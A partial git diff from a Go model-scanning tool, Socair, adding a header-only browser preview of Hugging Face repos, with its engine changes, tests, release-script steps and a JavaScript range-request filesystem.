t.Fatal(err) + } + p, err := PreviewDir(dir, hubSource, stated(t, dir)) + if err != nil { + t.Fatal(err) + } + if p.Model.StatedDigest != full.Artifact.SHA256 { + t.Errorf("digest %s, a full scan's %s", p.Model.StatedDigest, full.Artifact.SHA256) + } + for _, c := range full.Checks { + if got := previewRow(p, c.Name); got.Status != c.Status { + t.Errorf("%s: preview %s, full scan %s", c.Name, got.Status, c.Status) + } + } + if previewRow(p, "Remote code").Status != report.StatusLead { + t.Errorf("remote code = %s, want LEAD", previewRow(p, "Remote code").Status) + } +} + +// A check that reads a whole file is NOT_TESTED in a preview, named as the +// preview's, never a PASS. Falsification: the full scan of the same files +// runs the pickle check and FAILs it, so the fixture is one the check reads. +func TestPreviewLeavesWholeFileChecksNotTested(t *testing.T) { + dir := modelRepo(t, map[string]string{"pytorch_model.bin": string(posixSystemPickle)}) + full, err := Scan(dir) + if err != nil { + t.Fatal(err) + } + if got := row(full, "Pickle opcode scan").Status; got != report.StatusFail { + t.Fatalf("full scan pickle row = %s, want FAIL; the fixture does not exercise the check", got) + } + p, err := PreviewDir(dir, hubSource, stated(t, dir)) + if err != nil { + t.Fatal(err) + } + r := previewRow(p, "Pickle opcode scan") + if r.Status != report.StatusNotTested || !strings.Contains(r.Notes, PreviewHeadersOnly) { + t.Errorf("preview pickle row = %s (%s), want NOT_TESTED naming the preview", r.Status, r.Notes) + } + + onnx := modelRepo(t, map[string]string{"model.onnx": "not read"}) + p, err = PreviewDir(onnx, hubSource, stated(t, onnx)) + if err != nil { + t.Fatal(err) + } + if r := previewRow(p, "Format and structure"); r.Status != report.StatusNotTested || !strings.Contains(r.Notes, PreviewHeadersOnly) { + t.Errorf("an ONNX file's structure = %s (%s), want NOT_TESTED naming the preview", r.Status, r.Notes) + } +} + +// A preview carries no verdict: none of the fields an attestation has, at +// any depth of its type, and none in its JSON. Falsification: the same +// detector finds them in a report.Document. +func TestPreviewCarriesNoVerdict(t *testing.T) { + forbidden := []string{"promotion", "assurance", "issuer", "signature", "signer", "bounded_statement", + "verification", "authorized", "document_hash", "attestation"} + hit := func(s string) string { + s = strings.ToLower(s) + for _, f := range forbidden { + if strings.Contains(s, f) { + return f + } + } + return "" + } + var walk func(t reflect.Type, seen map[reflect.Type]bool, found *[]string) + walk = func(t reflect.Type, seen map[reflect.Type]bool, found *[]string) { + for t.Kind() == reflect.Pointer || t.Kind() == reflect.Slice || t.Kind() == reflect.Map { + t = t.Elem() + } + if t.Kind() != reflect.Struct || seen[t] { + return + } + seen[t] = true + for i := 0; i < t.NumField(); i++ { + f := t.Field(i) + if h := hit(f.Name + " " + f.Tag.Get("json") + " " + f.Type.Name()); h != "" { + *found = append(*found, t.Name()+"."+f.Name) + } + walk(f.Type, seen, found) + } + } + var inDoc []string + walk(reflect.TypeOf(report.Document{}), map[reflect.Type]bool{}, &inDoc) + if len(inDoc) == 0 { + t.Fatal("the detector finds nothing in a report.Document, so it detects nothing") + } + var inPreview []string + walk(reflect.TypeOf(Preview{}), map[reflect.Type]bool{}, &inPreview) + if len(inPreview) != 0 { + t.Errorf("a preview must carry no verdict, signature, or issuer: %v", inPreview) + } + + dir := modelRepo(t, nil) + p, err := PreviewDir(dir, hubSource, stated(t, dir)) + if err != nil { + t.Fatal(err) + } + b, err := json.Marshal(p) + if err != nil { + t.Fatal(err) + } + var keys map[string]json.RawMessage + if err := json.Unmarshal(b, &keys); err != nil { + t.Fatal(err) + } + for k := range keys { + if h := hit(k); h != "" { + t.Errorf("preview JSON key %q (%s)", k, h) + } + } +} + +// A GGUF on its own previews its metadata rows, with its stated hash. +func TestPreviewGGUF(t *testing.T) { + dir := t.TempDir() + file := filepath.Join(dir, "tiny-Q4_K_M.gguf") + if err := os.WriteFile(file, gguftest.BuildGGUF(gguftest.Clean()), 0o644); err != nil { + t.Fatal(err) + } + want := strings.Repeat("cd", 32) + p, err := PreviewGGUF(file, hubSource, want) + if err != nil { + t.Fatal(err) + } + if len(p.Model.Files) != 1 || p.Model.Files[0].StatedSHA256 != want || p.Model.StatedDigest != want { + t.Errorf("files %+v digest %s, want the stated %s", p.Model.Files, p.Model.StatedDigest, want) + } + if got := previewRow(p, "Chat template").Status; got == "" { + t.Error("a GGUF preview grades its chat template") + } + if _, err := PreviewGGUF(file, hubSource, ""); err == nil { + t.Error("a GGUF preview needs the file's stated hash") + } + if _, err := PreviewGGUF(filepath.Join(dir, "model.safetensors"), hubSource, want); err == nil { + t.Error("PreviewGGUF previews a .gguf file only") + } +} + +// No scan takes a stated hash. A directory scan reads its files in full, and +// only the preview passes scanDir stated hashes: every other call in this +// package passes nil. Falsification: pass anything else from scan.go and +// the source check fails; a header-only directory scan is refused. +func TestScanNeverTakesStatedHashes(t *testing.T) { + dir := modelRepo(t, nil) + if _, err := ScanMode(dir, ModeHeaders); err == nil { + t.Error("a header-only directory scan must be refused") + } + d, err := Scan(dir) + if err != nil { + t.Fatal(err) + } + digest, _, err := modeldir.Hash(dir) + if err != nil { + t.Fatal(err) + } + if d.Artifact.SHA256 != digest { + t.Errorf("a scan's subject %s, the computed digest %s", d.Artifact.SHA256, digest) + } + + fset := token.NewFileSet() + pkgs, err := parser.ParseDir(fset, ".", func(fi os.FileInfo) bool { return !strings.HasSuffix(fi.Name(), "_test.go") }, 0) + if err != nil { + t.Fatal(err) + } + calls := 0 + for _, pkg := range pkgs { + for name, file := range pkg.Files { + ast.Inspect(file, func(n ast.Node) bool { + call, ok := n.(*ast.CallExpr) + if !ok { + return true + } + fn, ok := call.Fun.(*ast.Ident) + if !ok || fn.Name != "scanDir" && fn.Name != "scanFile" { + return true + } + calls++ + last := call.Args[len(call.Args)-1] + isNil := false + if id, ok := last.(*ast.Ident); ok && id.Name == "nil" { + isNil = true + } + // scanFile has no stated-hash parameter: its last argument is + // Tier 2's config, nil in a preview, and a header-only file + // scan has no subject (attest.Sign refuses it). + if fn.Name == "scanDir" && !isNil && filepath.Base(name) != "preview.go" { + t.Errorf("%s: scanDir is passed stated hashes outside preview.go", fset.Position(call.Pos())) + } + if fn.Name == "scanDir" && isNil && filepath.Base(name) == "preview.go" { + t.Errorf("%s: the preview passes scanDir no stated hashes", fset.Position(call.Pos())) + } + return true + }) + } + } + if calls < 3 { + t.Fatalf("found %d calls to scanDir and scanFile; the source check reads nothing", calls) + } +} diff --git a/internal/engine/scan.go b/internal/engine/scan.go index 30a3116..308c1c4 100644 --- a/internal/engine/scan.go +++ b/internal/engine/scan.go @@ -68,10 +68,14 @@ type Inputs struct { // scan, as a feed that does not verify does: a store's rollback check // (airlock.Store.CheckFeed) is passed here. It never changes a row. Feed func(*feed.Feed) error + + // noEnv keeps an empty field from falling back to the environment, for + // a preview, which reads nothing of the organization's. + noEnv bool } func (in Inputs) provenancePath() string { - if in.Provenance != "" { + if in.Provenance != "" || in.noEnv { return in.Provenance } return os.Getenv("SOCAIR_PROVENANCE") @@ -109,9 +113,14 @@ func ScanWith(path string, mode Mode, in Inputs) (*report.Document, error) { if mode != ModeFull { return nil, fmt.Errorf("%s is a directory; a directory scan always reads every file in full", path) } - return scanDir(path, start, refs, in, t2) + return scanDir(path, start, refs, in, t2, nil) } + return scanFile(path, mode, start, refs, in, t2) +} +// scanFile scans one file. In ModeHeaders it reads in place and hashes +// nothing, so the report has no subject and attest.Sign refuses it. +func scanFile(path string, mode Mode, start time.Time, refs *references, in Inputs, t2 *tier2.Config) (*report.Document, error) { // A full scan is an attestation, so it checks a private snapshot whose // bytes it hashed while copying (see snapshot). A header-only sweep // attests nothing and reads in place. diff --git a/internal/engine/scandir.go b/internal/engine/scandir.go index a26e1fc..b5fc841 100644 --- a/internal/engine/scandir.go +++ b/internal/engine/scandir.go @@ -40,8 +40,14 @@ var pickleExt = map[string]bool{".bin": true, ".pt": true, ".pth": true, ".ckpt" // Every file is snapshotted and hashed; the subject is the manifest digest. // Each per-file check runs on every file it applies to and reports one merged // row, so one bad shard withholds the whole directory. -func scanDir(dir string, start time.Time, refs *references, in Inputs, t2 *tier2.Config) (*report.Document, error) { - root, files, excluded, cleanup, err := modeldir.Snapshot(dir, strings.TrimSpace(os.Getenv("SOCAIR_SCAN_TMP"))) +// +// With stated hashes it is a preview instead (PreviewDir), and only then: +// every scan passes nil. The files are read in place, as far as each check +// reads them, and never hashed, and a check that would read a whole file +// (the pickle scan, ONNX and Keras) is NOT_TESTED, named as the preview's. +func scanDir(dir string, start time.Time, refs *references, in Inputs, t2 *tier2.Config, stated map[string]string) (*report.Document, error) { + preview := stated != nil + root, files, excluded, cleanup, err := snapshotOrList(dir, stated) var short *diskfree.ShortError if errors.As(err, &short) { return nil, fmt.Errorf("%w (set SOCAIR_SCAN_TMP to a volume with room)", err) @@ -50,7 +56,7 @@ func scanDir(dir string, start time.Time, refs *references, in Inputs, t2 *tier2 return nil, err } defer cleanup() - if afterSnapshot != nil { + if afterSnapshot != nil && !preview { afterSnapshot(dir) } at := func(f modeldir.File) string { return filepath.Join(root, filepath.FromSlash(f.Path)) } @@ -112,6 +118,9 @@ func scanDir(dir string, start time.Time, refs *references, in Inputs, t2 *tier2 // counts such an archive as read instead of re-reading it. read := map[string]checks.ArchiveRead{} inspectPickle := func(f modeldir.File) checks.Result { + if preview { + return headersOnly(pickle.CheckName, pickle.LooksFor, "the Pickle opcode scan reads the whole file") + } r, a := pickle.InspectArchive(at(f), pickle.Options{}) if a != nil { read[f.Path] = *a @@ -152,6 +161,8 @@ func scanDir(dir string, start time.Time, refs *references, in Inputs, t2 *tier2 if ext == ".gguf" { unparsed = append(unparsed, f.Path+": GGUF metadata checks (chat template, tokenizer, quant) run when the file is scanned on its own") } + case preview && (ext == ".onnx" || kerasExt[ext]): + structParts = append(structParts, checks.Part{File: f.Path, Result: headersOnly("", "", "an "+strings.TrimPrefix(ext, ".")+" file is read whole")}) case ext == ".onnx": // Its external data is resolved in the snapshot, beside it. structParts = append(structParts, checks.Part{File: f.Path, Result: structure.ValidateONNX(root, f.Path)}) @@ -280,6 +291,28 @@ func scanDir(dir string, start time.Time, refs *references, in Inputs, t2 *tier2 return d, nil } +// snapshotOrList is a scan's private snapshot of dir, or, for a preview, the +// directory itself with the hashes its source states, every file needing one. +func snapshotOrList(dir string, stated map[string]string) (string, []modeldir.File, []modeldir.Excluded, func(), error) { + if stated == nil { + return modeldir.Snapshot(dir, strings.TrimSpace(os.Getenv("SOCAIR_SCAN_TMP"))) + } + files, excluded, err := modeldir.List(dir, func(rel string) string { return stated[rel] }) + if err != nil { + return "", nil, nil, nil, err + } + var missing []string + for _, f := range files { + if !sha256Hex.MatchString(f.SHA256) { + missing = append(missing, f.Path) + } + } + if len(missing) > 0 { + return "", nil, nil, nil, fmt.Errorf("a preview needs every file's SHA-256 from its source; none stated for %s", strings.Join(missing, ", ")) + } + return dir, files, excluded, func() {}, nil +} + // kerasExt are the extensions of Keras models: HDF5 files and .keras // archives. A file of one is read as Keras when its bytes are HDF5 or a // .keras archive (isKeras), whichever its extension names; otherwise it is diff --git a/internal/modeldir/list_test.go b/internal/modeldir/list_test.go new file mode 100644 index 0000000..f95b8ff --- /dev/null +++ b/internal/modeldir/list_test.go @@ -0,0 +1,46 @@ +package modeldir + +import ( + "os" + "path/filepath" + "testing" +) + +func TestListStatesHashesWithoutReadingAFile(t *testing.T) { + dir := t.TempDir() + for rel, body := range map[string]string{"config.json": "{}", "model.safetensors": "weights"} { + if err := os.WriteFile(filepath.Join(dir, rel), []byte(body), 0o644); err != nil { + t.Fatal(err) + } + } + // Falsification: a file nobody can read fails any walk that opens it, + // so List passing here shows it opens none. + locked := filepath.Join(dir, "model.safetensors") + if err := os.Chmod(locked, 0); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.Chmod(locked, 0o644) }) + if f, err := os.Open(locked); err == nil { + f.Close() + t.Skip("running as a user who reads any file") + } + if _, _, err := Hash(dir); err == nil { + t.Fatal("Hash read a file no one can read; the falsification does not hold") + } + + files, _, err := List(dir, func(rel string) string { return "stated:" + rel }) + if err != nil { + t.Fatal(err) + } + if len(files) != 2 { + t.Fatalf("%d files", len(files)) + } + for _, f := range files { + if f.SHA256 != "stated:"+f.Path { + t.Errorf("%s: hash %q, want the stated one", f.Path, f.SHA256) + } + } + if files[1].Path != "model.safetensors" || files[1].Size != int64(len("weights")) || files[1].Role != RoleWeights { + t.Errorf("%+v", files[1]) + } +} diff --git a/internal/modeldir/modeldir.go b/internal/modeldir/modeldir.go index e3b0ed3..67c91fb 100644 --- a/internal/modeldir/modeldir.go +++ b/internal/modeldir/modeldir.go @@ -221,6 +221,24 @@ func Hash(dir string) (string, []File, error) { return Digest(files), files, nil } +// List walks dir in the scan's rules and opens no file: each file's digest +// is the one stated gives for its path ("" when it gives none), and its size +// is its size on disk. It is for a header-only preview (engine.PreviewDir), +// which attests nothing and says where its hashes came from; a scan never +// uses it. +func List(dir string, stated func(rel string) string) ([]File, []Excluded, error) { + if err := isDir(dir); err != nil { + return nil, nil, err + } + return walk(dir, func(src, rel string) (string, int64, error) { + st, err := os.Stat(src) + if err != nil { + return "", 0, err + } + return stated(rel), st.Size(), nil + }) +} + func isDir(dir string) error { fi, err := os.Stat(dir) if err != nil { diff --git a/scripts/build-release.sh b/scripts/build-release.sh index 0528ebe..ef0964a 100755 --- a/scripts/build-release.sh +++ b/scripts/build-release.sh @@ -5,7 +5,10 @@ # # Builds socair and socair-sigstore for linux and darwin, amd64 and arm64, # from vendored modules with no network, no cgo, -trimpath, and an empty -# build id, stamping into both. Writes /SHA256SUMS. +# build id, stamping into both, and the browser preview +# (docs/preview.md): the engine for js/wasm, Go's wasm_exec.js loader for it, +# and the page's two modules (tools/socair-preview). Writes +# /SHA256SUMS. # # With --check it builds everything a second time from an empty build cache # and requires byte-identical output, so a release is only cut from a build @@ -55,6 +58,12 @@ build() { "$gobin" build -trimpath -ldflags "-s -w -buildid= -X main.version=$version" \ -o "$dir/socair-sigstore_${version}_${os}_${arch}" .) done + (cd "$root" && CGO_ENABLED=0 GOOS=js GOARCH=wasm GOFLAGS=-mod=vendor GOCACHE="$cache" GOMODCACHE="$cache/mod" GOPROXY=off GOTOOLCHAIN=local \ + "$gobin" build -trimpath -ldflags "-s -w -buildid= -X github.com/defilantech/socair/internal/engine.Version=$version" \ + -o "$dir/socair-preview_${version}.wasm" ./cmd/socair-preview) + cp "$goroot/lib/wasm/wasm_exec.js" "$dir/socair-preview_${version}_wasm_exec.js" + cp "$root/tools/socair-preview/hffs.js" "$dir/socair-preview_${version}_hffs.js" + cp "$root/tools/socair-preview/preview.js" "$dir/socair-preview_${version}_preview.js" (cd "$dir" && sha256 socair* > SHA256SUMS) } @@ -76,7 +85,7 @@ fi mkdir -p "$out" cp "$tmp/first/"* "$out/" -echo "built $(grep -c . "$out/SHA256SUMS") binaries with $("$gobin" version | cut -d' ' -f3) into $out" +echo "built $(grep -c . "$out/SHA256SUMS") files with $("$gobin" version | cut -d' ' -f3) into $out" if (cd "$root" && [[ -n "$(git status --porcelain 2>/dev/null)" ]]); then echo "note: the checkout has changes, so these binaries record vcs.modified=true and will not match a release build" >&2 fi diff --git a/tools/socair-preview/.gitignore b/tools/socair-preview/.gitignore new file mode 100644 index 0000000..849ddff --- /dev/null +++ b/tools/socair-preview/.gitignore @@ -0,0 +1 @@ +dist/ diff --git a/tools/socair-preview/README.md b/tools/socair-preview/README.md new file mode 100644 index 0000000..8a7da91 --- /dev/null +++ b/tools/socair-preview/README.md @@ -0,0 +1,18 @@ +# socair-preview + +The page's half of Socair's browser preview: a read-only filesystem over a +Hugging Face repo whose reads are HTTP range requests (`hffs.js`), and the +code that lists a repo, mounts it, and runs the engine on it (`preview.js`). +The engine half is `cmd/socair-preview`, built for js/wasm. + +What a preview is and is not, what it reads, and how it was measured: +[docs/preview.md](../../docs/preview.md). + +``` +./build.sh # dist/: socair-preview.wasm, wasm_exec.js +node try.mjs org/name [revision] [--all] +node --test preview.test.mjs # against a fake hub, no network +``` + +Releases carry `hffs.js` and `preview.js` beside the wasm, attested, so a page +can load all of it from one release. diff --git a/tools/socair-preview/build.sh b/tools/socair-preview/build.sh new file mode 100755 index 0000000..784074f --- /dev/null +++ b/tools/socair-preview/build.sh @@ -0,0 +1,14 @@ +#!/usr/bin/env bash +# Builds the preview into tools/socair-preview/dist/ for try.mjs and local +# work: the engine for js/wasm, and Go's wasm_exec.js loader for it. A release +# carries the same three files (scripts/build-release.sh). +set -euo pipefail +here="$(cd "$(dirname "$0")" && pwd)" +repo="$(cd "$here/../.." && pwd)" +out="$here/dist" +mkdir -p "$out" +(cd "$repo" && GOOS=js GOARCH=wasm GOFLAGS=-mod=vendor CGO_ENABLED=0 \ + go build -trimpath -ldflags "-s -w -buildid= -X github.com/defilantech/socair/internal/engine.Version=${SOCAIR_VERSION:-dev}" \ + -o "$out/socair-preview.wasm" ./cmd/socair-preview) +cp "$(cd "$repo" && go env GOROOT)/lib/wasm/wasm_exec.js" "$out/" +ls -l "$out" diff --git a/tools/socair-preview/hffs.js b/tools/socair-preview/hffs.js new file mode 100644 index 0000000..f852fe0 --- /dev/null +++ b/tools/socair-preview/hffs.js @@ -0,0 +1,377 @@ +// A read-only filesystem over one Hugging Face repo at one commit, in the +// shape Go's js/wasm runtime calls (globalThis.fs, Node's callback API). A +// read becomes HTTP range requests to the hub, cached in blocks, so the +// engine fetches only the bytes its checks read: headers, configs, +// templates, tokenizers. Nothing is written, and no file is fetched whole +// unless it is small. +// +// The repo is mounted where the Hugging Face cache would hold it, +// /hub/models--org--name/snapshots/, so the engine names it by its repo. +// +// It never sends a token: it has no way to take one. A gated or private repo +// is refused before any file is read (docs/preview.md). + +const KiB = 1024; +const MiB = 1024 * KiB; + +const S_IFDIR = 0o040000; +const S_IFREG = 0o100000; + +function fsError(code, message) { + const e = new Error(message || code); + e.code = code; + return e; +} + +/** A repo the preview will not read: gated or private. */ +export class GatedError extends Error {} + +const REPO = /^[A-Za-z0-9][A-Za-z0-9._-]{0,95}\/[A-Za-z0-9][A-Za-z0-9._-]{0,95}$/; + +/** The repo's full commit and files, from the hub's API. A gated or private + * repo is refused with a GatedError: the preview takes no token. */ +export async function listRepo(repo, revision = 'main', { endpoint = 'https://huggingface.co' } = {}) { + if (!REPO.test(repo) || repo.includes('..')) throw new Error(`${repo} is not an org/name repo id`); + const url = `${endpoint}/api/models/${repo}/revision/${encodeURIComponent(revision)}?blobs=true`; + const res = await fetch(url); + if (res.status === 401 || res.status === 403) { + throw new GatedError(`${repo} is gated or private on Hugging Face (it answered ${res.status}). The preview takes no token. Pull it into your airlock with your HF_TOKEN instead.`); + } + if (res.status === 404) throw new Error(`${repo} at ${revision}: no such repo or revision on the hub`); + if (!res.ok) throw new Error(`the hub answered ${res.status} for ${url}`); + const info = await res.json(); + if (info.gated || info.private) { + throw new GatedError(`${info.id || repo} is gated on Hugging Face: its files open only to accounts that accepted its terms, and the preview takes no token. Pull it into your airlock with your HF_TOKEN instead.`); + } + if (!/^[0-9a-f]{40}$/.test(info.sha || '')) throw new Error(`the hub named no full commit for ${repo} at ${revision}`); + const files = (info.siblings || []).map((s) => ({ + path: s.rfilename, + size: s.lfs ? s.lfs.size : s.size, + // An LFS file's oid is its SHA-256; a small file's is a git blob id. + sha256: s.lfs ? s.lfs.sha256 : null + })); + return { repo: info.id || repo, commit: info.sha, files }; +} + +/** Translates one huggingface_hub pattern (fnmatch) to a RegExp, as the + * airlock's --include and --exclude read it: * matches any run of + * characters, slashes included; ? one; [seq] and [!seq] one in or not in + * seq; a pattern ending in / matches everything under that directory. */ +export function globRegExp(pattern) { + if (pattern.endsWith('/')) pattern += '*'; + let re = ''; + for (let i = 0; i < pattern.length; i++) { + const c = pattern[i]; + if (c === '*') re += '.*'; + else if (c === '?') re += '.'; + else if (c === '[') { + const j = pattern.indexOf(']', i + 1); + if (j === -1) throw new Error(`an unclosed [ in ${pattern}`); + let set = pattern.slice(i + 1, j).replace(/\\/g, '\\\\'); + if (set.startsWith('!')) set = '^' + set.slice(1); + re += `[${set}]`; + i = j; + } else re += c.replace(/[.+^${}()|\\]/g, '\\$&'); + } + return new RegExp(`^${re}$`); +} + +/** The files the preview reads, and the patterns that keep them, as the + * airlock pull's --include: + * - a model served from safetensors: the selection docs/airlock.md + * recommends, plus any Python a loader could be told to import, so the + * Remote code row judges it; + * - a repo of GGUF quants: one quant (gguf, or Q4_K_M, or the smallest), + * since a quant is pulled on its own, with the small files beside it; + * - otherwise every file. + * ggufs lists the quants a page can offer instead. */ +export function previewSelection(files, { gguf } = {}) { + const paths = files.map((f) => f.path); + const ggufs = files.filter((f) => f.path.endsWith('.gguf') && !/mmproj/i.test(f.path)).map((f) => f.path).sort(); + let include; + if (paths.some((p) => p.endsWith('.safetensors'))) { + include = ['*.safetensors', '*.safetensors.index.json', '*.json', '*.jinja', '*.txt', '*.model', 'README.md', 'LICENSE*', '*.py']; + } else if (ggufs.length) { + const size = (p) => files.find((f) => f.path === p)?.size ?? Infinity; + const chosen = ggufs.includes(gguf) ? gguf + : ggufs.find((p) => /q4_k_m/i.test(p)) || [...ggufs].sort((a, b) => size(a) - size(b))[0]; + // A name a pattern would read as a class or a wildcard is not + // narrowed: every file is previewed. + if (/[*?[\]]/.test(chosen)) return { include: [], kept: files, left: [], ggufs, gguf: chosen }; + include = [chosen, '*.json', '*.jinja', '*.txt', 'README.md', 'LICENSE*', '*.py']; + const res = include.map(globRegExp); + const kept = [], left = []; + for (const f of files) (res.some((r) => r.test(f.path)) ? kept : left).push(f); + return { include, kept, left, ggufs, gguf: chosen }; + } else { + return { include: [], kept: files, left: [], ggufs }; + } + const res = include.map(globRegExp); + const kept = [], left = []; + for (const f of files) (res.some((r) => r.test(f.path)) ? kept : left).push(f); + return { include, kept, left, ggufs }; +} + +export class HubFS { + constructor({ repo, commit, files, endpoint = 'https://huggingface.co', block = 16 * KiB, + maxWindow = 4 * MiB, wholeBelow = 2 * MiB, perFileBudget = 64 * MiB, budget = 256 * MiB, onFetch = () => {} }) { + Object.assign(this, { repo, commit, endpoint, block, maxWindow, wholeBelow, perFileBudget, budget, onFetch }); + // Every read that failed, by file. One failed read makes the whole + // preview incomplete: a check that could not read a file must never + // be shown as having read it. + this.failures = []; + this.root = `/hub/models--${repo.replace('/', '--')}/snapshots/${commit}`; + this.nodes = new Map(); // absolute path -> {dir, size, path, children} + this.fds = new Map(); + this.nextFd = 10; + this.fetched = 0; + this.requests = 0; + this.byFile = new Map(); // repo path -> bytes fetched + this.blocks = new Map(); // repo path -> Map(blockIndex -> Promise) + this.stdout = ''; + this.constants = { O_WRONLY: 1, O_RDWR: 2, O_CREAT: 64, O_EXCL: 128, O_TRUNC: 512, O_APPEND: 1024, O_DIRECTORY: 65536 }; + this.dir('/'); + for (const f of files) { + const abs = `${this.root}/${f.path}`; + this.parents(abs); + this.nodes.set(abs, { dir: false, size: f.size, path: f.path, sha256: f.sha256 }); + this.nodes.get(parentOf(abs)).children.add(baseOf(abs)); + } + } + + dir(abs) { + if (!this.nodes.has(abs)) { + this.nodes.set(abs, { dir: true, size: 0, children: new Set() }); + if (abs !== '/') { + this.parents(abs); + this.nodes.get(parentOf(abs)).children.add(baseOf(abs)); + } + } + } + + parents(abs) { + const p = parentOf(abs); + if (p !== abs) this.dir(p); + } + + node(path) { + return this.nodes.get(normalize(path)); + } + + statOf(node, ino = 1) { + const now = Date.now(); + return { + dev: 1, ino, mode: node.dir ? S_IFDIR | 0o555 : S_IFREG | 0o444, nlink: 1, uid: 0, gid: 0, rdev: 0, + size: node.size, blksize: 4096, blocks: Math.ceil(node.size / 512), + atimeMs: now, mtimeMs: now, ctimeMs: now, + isDirectory: () => node.dir + }; + } + + url(path) { + const enc = path.split('/').map(encodeURIComponent).join('/'); + return `${this.endpoint}/${this.repo}/resolve/${this.commit}/${enc}`; + } + + /** Fetches bytes [start, end) of a file, from the cache in blocks. */ + async bytes(node, start, end) { + end = Math.min(end, node.size); + if (start >= end) return new Uint8Array(0); + const whole = node.size <= this.wholeBelow; + const size = whole ? node.size : this.block; + const first = Math.floor(start / size), last = Math.floor((end - 1) / size); + let cache = this.blocks.get(node.path); + if (!cache) this.blocks.set(node.path, (cache = new Map())); + // One request for each run of missing blocks. + for (let i = first; i <= last; ) { + if (cache.has(i)) { i++; continue; } + let j = i; + while (j + 1 <= last && !cache.has(j + 1)) j++; + const from = i * size, to = Math.min((j + 1) * size, node.size); + const run = this.fetchRange(node, from, to); + for (let k = i; k <= j; k++) { + const off = (k - i) * size; + const blk = run.then((b) => b.subarray(off, Math.min(off + size, b.length))); + // A failed fetch is reported by the read that awaits it; the + // other blocks of the same run must not count as unhandled. + blk.catch(() => {}); + cache.set(k, blk); + } + i = j + 1; + } + const out = new Uint8Array(end - start); + for (let i = first; i <= last; i++) { + const b = await cache.get(i); + const bStart = i * size; + const from = Math.max(start, bStart), to = Math.min(end, bStart + b.length); + out.set(b.subarray(from - bStart, to - bStart), from - start); + } + return out; + } + + async fetchRange(node, from, to) { + const had = this.byFile.get(node.path) || 0; + if (had + (to - from) > this.perFileBudget || this.fetched + (to - from) > this.budget) { + throw fsError('EIO', `${node.path}: the preview's read budget would be passed`); + } + this.byFile.set(node.path, had + (to - from)); + this.fetched += to - from; + this.requests++; + const headers = { Range: `bytes=${from}-${to - 1}` }; + const t0 = performance.now(); + // The hub answers a file's URL with a redirect to its storage; later + // ranges of the same file go to where it redirected, which halves + // each request's round trips. An expired one falls back to the hub. + this.direct ??= new Map(); + let res; + const direct = this.direct.get(node.path); + if (direct) res = await fetch(direct, { headers }); + if (!res || (res.status !== 206 && res.status !== 200)) { + res = await fetch(this.url(node.path), { headers }); + if (res.redirected) this.direct.set(node.path, res.url); + } + if (res.status !== 206 && res.status !== 200) throw fsError('EIO', `${node.path}: the hub answered ${res.status}`); + let b = new Uint8Array(await res.arrayBuffer()); + if (res.status === 200 && (from > 0 || b.length > to - from)) b = b.subarray(from, to); + this.onFetch({ path: node.path, from, to, ms: performance.now() - t0 }); + return b; + } + + /** Fills the cache, in parallel, with what the checks will read first: + * every safetensors header (its 8-byte length, then the JSON) and the + * start of every GGUF (its metadata). It only saves round trips: the + * engine still reads what it reads, and a miss is fetched on demand. */ + async warm(concurrency = 8) { + const jobs = []; + for (const n of this.nodes.values()) { + if (n.dir || n.size <= this.wholeBelow) continue; + if (n.path.endsWith('.safetensors')) { + jobs.push(async () => { + const head = await this.bytes(n, 0, Math.min(n.size, 256 * KiB)); + if (head.length < 8) return; + const len = Number(new DataView(head.buffer, head.byteOffset, 8).getBigUint64(0, true)); + if (len > 0 && 8 + len <= Math.min(n.size, 64 * MiB)) await this.bytes(n, 0, 8 + len); + }); + } else if (n.path.endsWith('.gguf')) { + jobs.push(() => this.bytes(n, 0, Math.min(n.size, 4 * MiB))); + } + } + const queue = [...jobs]; + await Promise.all(Array.from({ length: Math.min(concurrency, queue.length) }, async () => { + while (queue.length) { + try { await queue.shift()(); } catch { /* the read that needs it reports it */ } + } + })); + } + + /** Every file's SHA-256 by its repo path: an LFS file's as the hub states + * it, and a small file's from its bytes, fetched whole (the scan reads + * them anyway: configs, templates, tokenizers, the model card). */ + async hashes() { + const out = {}; + await Promise.all([...this.nodes.values()].filter((n) => !n.dir).map(async (n) => { + if (n.sha256) { out[n.path] = n.sha256; return; } + const b = await this.bytes(n, 0, n.size); + const d = new Uint8Array(await crypto.subtle.digest('SHA-256', b)); + out[n.path] = [...d].map((x) => x.toString(16).padStart(2, '0')).join(''); + })); + return out; + } + + // ---- the fs API Go's syscall/fs_js.go calls ---- + + writeSync(fd, buf) { + this.stdout += new TextDecoder().decode(buf); + const nl = this.stdout.lastIndexOf('\n'); + if (nl !== -1) { + console.log(this.stdout.slice(0, nl)); + this.stdout = this.stdout.slice(nl + 1); + } + return buf.length; + } + write(fd, buf, offset, length, position, cb) { + if (fd === 1 || fd === 2) { + if (offset !== 0 || length !== buf.length || position !== null) return cb(fsError('ENOSYS')); + return cb(null, this.writeSync(fd, buf)); + } + cb(fsError('EBADF')); + } + open(path, flags, mode, cb) { + const node = this.node(path); + if (!node) return cb(fsError('ENOENT', path)); + if (flags & (this.constants.O_WRONLY | this.constants.O_RDWR | this.constants.O_CREAT)) return cb(fsError('EACCES', path)); + const fd = this.nextFd++; + this.fds.set(fd, { node, pos: 0 }); + cb(null, fd); + } + close(fd, cb) { this.fds.delete(fd); cb(null); } + fstat(fd, cb) { + const f = this.fds.get(fd); + if (!f) return cb(fsError('EBADF')); + cb(null, this.statOf(f.node, fd)); + } + stat(path, cb) { + const node = this.node(path); + if (!node) return cb(fsError('ENOENT', path)); + cb(null, this.statOf(node)); + } + lstat(path, cb) { this.stat(path, cb); } + readdir(path, cb) { + const node = this.node(path); + if (!node) return cb(fsError('ENOENT', path)); + if (!node.dir) return cb(fsError('ENOTDIR', path)); + cb(null, [...node.children].sort()); + } + read(fd, buffer, offset, length, position, cb) { + const f = this.fds.get(fd); + if (!f) return cb(fsError('EBADF')); + if (f.node.dir) return cb(fsError('EISDIR')); + const at = position === null || position === undefined ? f.pos : position; + // A read where the last one ended doubles the window, up to maxWindow; + // any other starts small. A read is cut to the window (a short read, + // which Go's readers take), so a parser that seeks from header to + // header fetches a block at each, not the buffer it asked to fill. + f.window = at === f.end ? Math.min((f.window || this.block) * 2, this.maxWindow) : this.block; + const n = f.node.size <= this.wholeBelow ? length : Math.min(length, f.window); + this.bytes(f.node, at, at + n).then( + (b) => { + buffer.set(b, offset); + if (position === null || position === undefined) f.pos += b.length; + f.end = at + b.length; + cb(null, b.length); + }, + (e) => { + this.failures.push({ path: f.node.path, reason: e.message || String(e) }); + cb(e.code ? e : fsError('EIO', String(e))); + } + ); + } + fsync(fd, cb) { 